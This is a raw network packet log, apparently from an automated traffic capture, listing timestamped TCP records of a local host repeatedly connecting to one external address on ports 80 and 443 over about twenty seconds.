Jan 14, 2025 08:25:45.977550030 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:45.977560043 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:46.023260117 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:46.871870041 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:46.871980906 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:46.873245001 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:46.873251915 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:46.873517990 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:46.874715090 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:46.919328928 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.459405899 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.459681034 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.459754944 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.459813118 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.459830046 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.459841967 CET	50085	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.459846973 CET	443	50085	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.573251963 CET	50086	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.578095913 CET	80	50086	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.578229904 CET	50086	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.578316927 CET	50086	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.579757929 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.583225965 CET	80	50086	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.583296061 CET	50086	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.584492922 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.890016079 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.891494036 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.891541004 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.891635895 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.891963005 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:47.891976118 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:47.935266018 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:48.772876024 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:48.773009062 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:48.774545908 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:48.774557114 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:48.774872065 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:48.776161909 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:48.819336891 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.349524021 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.349699974 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.349776030 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.350042105 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.350063086 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.350073099 CET	50087	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.350079060 CET	443	50087	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.464684963 CET	50089	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.469598055 CET	80	50089	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.469711065 CET	50089	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.469845057 CET	50089	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.471590996 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.474620104 CET	80	50089	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.474694967 CET	50089	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.476444960 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.781872034 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.783308983 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.783368111 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.783467054 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.783806086 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:49.783819914 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:49.835256100 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:50.688030005 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:50.688169956 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:50.689558983 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:50.689563990 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:50.689783096 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:50.690936089 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:50.731353045 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.274868011 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.275475979 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.275541067 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.275621891 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.275634050 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.275664091 CET	50090	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.275670052 CET	443	50090	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.389547110 CET	50091	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.394419909 CET	80	50091	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.394536018 CET	50091	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.394679070 CET	50091	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.396368980 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.399547100 CET	80	50091	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.399604082 CET	50091	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.401277065 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.707931042 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.709345102 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.709389925 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.709446907 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.709741116 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:51.709753990 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:51.750277996 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:52.611632109 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:52.611704111 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:52.613035917 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:52.613048077 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:52.613387108 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:52.614785910 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:52.659342051 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.190331936 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.190514088 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.190613031 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.191374063 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.191392899 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.191406012 CET	50092	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.191411972 CET	443	50092	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.305999994 CET	50093	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.310833931 CET	80	50093	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.310925961 CET	50093	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.311070919 CET	50093	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.312959909 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.315901041 CET	80	50093	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.315965891 CET	50093	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.317781925 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.627576113 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.628896952 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.628941059 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.629035950 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.629359961 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:53.629379034 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:53.680380106 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:54.516577005 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:54.516715050 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:54.518486977 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:54.518498898 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:54.518759012 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:54.520116091 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:54.563338995 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.100548029 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.100954056 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.101030111 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.101072073 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.101088047 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.101103067 CET	50094	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.101108074 CET	443	50094	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.215244055 CET	50095	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.220161915 CET	80	50095	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.220292091 CET	50095	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.220488071 CET	50095	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.222234964 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.225311041 CET	80	50095	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.225392103 CET	50095	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.227011919 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.532463074 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.534301043 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.534347057 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.534485102 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.534807920 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:55.534825087 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:55.581268072 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:56.420701027 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:56.420845985 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:56.422147036 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:56.422158003 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:56.422405005 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:56.423660040 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:56.467353106 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.000153065 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.000374079 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.000474930 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.001396894 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.001410961 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.001425982 CET	50096	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.001431942 CET	443	50096	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.114929914 CET	50097	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.119864941 CET	80	50097	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.119971037 CET	50097	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.132229090 CET	50097	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.137135029 CET	80	50097	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.137217045 CET	50097	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.192383051 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.198122978 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.502397060 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.503818035 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.503859997 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.503922939 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.504240990 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:57.504256964 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:57.545284033 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:58.402772903 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:58.402904987 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:58.404122114 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:58.404129982 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:58.404381990 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:58.405560017 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:58.451329947 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:58.987871885 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:58.988276958 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:58.988348961 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:58.988384008 CET	50098	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:58.988398075 CET	443	50098	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:59.100399971 CET	50099	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.105281115 CET	80	50099	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:59.105401039 CET	50099	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.105707884 CET	50099	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.107225895 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.110543966 CET	80	50099	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:59.110600948 CET	50099	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.111979961 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:59.417500973 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:59.418838978 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.418898106 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:59.418958902 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.419302940 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:25:59.419320107 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:25:59.462353945 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:00.326152086 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:00.326241016 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:00.327636957 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:00.327646017 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:00.327887058 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:00.329318047 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:00.371366978 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:00.912813902 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:00.913198948 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:00.913305998 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:00.913338900 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:00.913353920 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:00.913364887 CET	50100	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:00.913372040 CET	443	50100	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:01.025954008 CET	50101	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.031358957 CET	80	50101	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:01.031459093 CET	50101	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.031692982 CET	50101	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.033447981 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.036689043 CET	80	50101	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:01.036767006 CET	50101	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.038587093 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:01.344388008 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:01.346060038 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.346117020 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:01.346225977 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.346513987 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:01.346529961 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:01.392327070 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.259072065 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.259161949 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.269539118 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.269556999 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.269797087 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.271351099 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.315330982 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.862967014 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.863640070 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.863723993 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.863776922 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.863799095 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.863809109 CET	50102	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.863816023 CET	443	50102	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.977121115 CET	50103	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.982007980 CET	80	50103	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.982101917 CET	50103	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.982264996 CET	50103	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.983891964 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.987173080 CET	80	50103	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:02.987251997 CET	50103	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:02.988765001 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:03.294997931 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:03.296427965 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:03.296442032 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:03.296513081 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:03.296992064 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:03.297005892 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:03.342257977 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.207726955 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.207808971 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.209045887 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.209055901 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.209304094 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.210464954 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.251336098 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.800362110 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.800643921 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.800709009 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.801419973 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.801440001 CET	50104	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.801446915 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.801461935 CET	443	50104	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.915793896 CET	50105	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.920638084 CET	80	50105	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.920773029 CET	50105	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.920914888 CET	50105	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.922523022 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.925774097 CET	80	50105	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:04.925843954 CET	50105	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:04.927319050 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:05.233359098 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:05.234848976 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:05.234884024 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:05.234986067 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:05.235342026 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:05.235356092 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:05.285290003 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.144577980 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.144654989 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.146501064 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.146507025 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.146873951 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.148550987 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.191349030 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.730027914 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.730254889 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.730319023 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.730405092 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.730417013 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.730438948 CET	50106	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.730444908 CET	443	50106	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.843475103 CET	50107	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.848346949 CET	80	50107	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.848423958 CET	50107	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.848532915 CET	50107	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.849942923 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.853419065 CET	80	50107	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:06.853493929 CET	50107	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:06.854785919 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:07.160624981 CET	80	49712	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:07.161978960 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:07.162026882 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:07.162108898 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:07.162408113 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:07.162419081 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:07.211272955 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.062257051 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.062325001 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.063486099 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.063489914 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.063684940 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.064759016 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.107328892 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.648893118 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.648968935 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.649032116 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.649175882 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.649192095 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.649203062 CET	50108	443	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.649208069 CET	443	50108	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.761706114 CET	50109	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.766623020 CET	80	50109	166.62.27.188	192.168.2.6
Jan 14, 2025 08:26:08.766741991 CET	50109	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.766922951 CET	50109	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.768636942 CET	49712	80	192.168.2.6	166.62.27.188
Jan 14, 2025 08:26:08.771766901 CET	80	50109	166.62.27.188	192.168.2.6
